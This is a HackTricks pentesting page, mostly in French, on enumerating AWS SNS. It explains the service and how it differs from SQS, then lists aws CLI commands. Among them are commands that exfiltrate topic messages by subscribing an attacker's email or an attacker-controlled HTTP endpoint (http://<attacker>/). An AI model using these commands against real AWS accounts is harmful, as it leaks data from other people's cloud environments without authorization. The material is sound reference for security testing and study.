AWS - SNS Enum

Support HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS) est décrit comme un service de messagerie entièrement géré. Il prend en charge à la fois les types de communication application-à-application (A2A) et application-à-personne (A2P).

Les fonctionnalités clés pour la communication A2A incluent les mécanismes de publication/abonnement (pub/sub). Ces mécanismes introduisent des sujets, cruciaux pour permettre une messagerie push basée sur un haut débit et de nombreux à de nombreux. Cette fonctionnalité est très avantageuse dans les scénarios impliquant des systèmes distribués, des microservices et des architectures sans serveur basées sur des événements. En tirant parti de ces sujets, les systèmes de publication peuvent distribuer efficacement des messages à un large éventail de systèmes d'abonnement, facilitant un modèle de messagerie de diffusion.

Difference with SQS

SQS est un service basé sur des files d'attente qui permet une communication point à point, garantissant que les messages sont traités par un unique consommateur. Il offre une livraison au moins une fois, prend en charge les files d'attente standard et FIFO, et permet la conservation des messages pour des réessais et un traitement différé. D'autre part, SNS est un service basé sur la publication/abonnement, permettant une communication un-à-plusieurs en diffusant des messages à plusieurs abonnés simultanément. Il prend en charge divers points de terminaison d'abonnement comme l'email, le SMS, les fonctions Lambda et HTTP/HTTPS, et fournit des mécanismes de filtrage pour une livraison ciblée des messages. Bien que les deux services permettent le découplage entre les composants dans des systèmes distribués, SQS se concentre sur la communication en file d'attente, tandis que SNS met l'accent sur les modèles de communication basés sur des événements et de diffusion.

Enumeration

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Notez que si le sujet est de type FIFO, seuls les abonnés utilisant le protocole SQS peuvent être utilisés (HTTP ou HTTPS ne peuvent pas être utilisés).

De plus, même si le --topic-arn contient la région, assurez-vous de spécifier la bonne région dans --region ou vous obtiendrez une erreur qui ressemble à une indication que vous n'avez pas accès, mais le problème est la région.

Accès non authentifié

Escalade de privilèges

Post-exploitation

Persistance

Références

Soutenir HackTricks

Last updated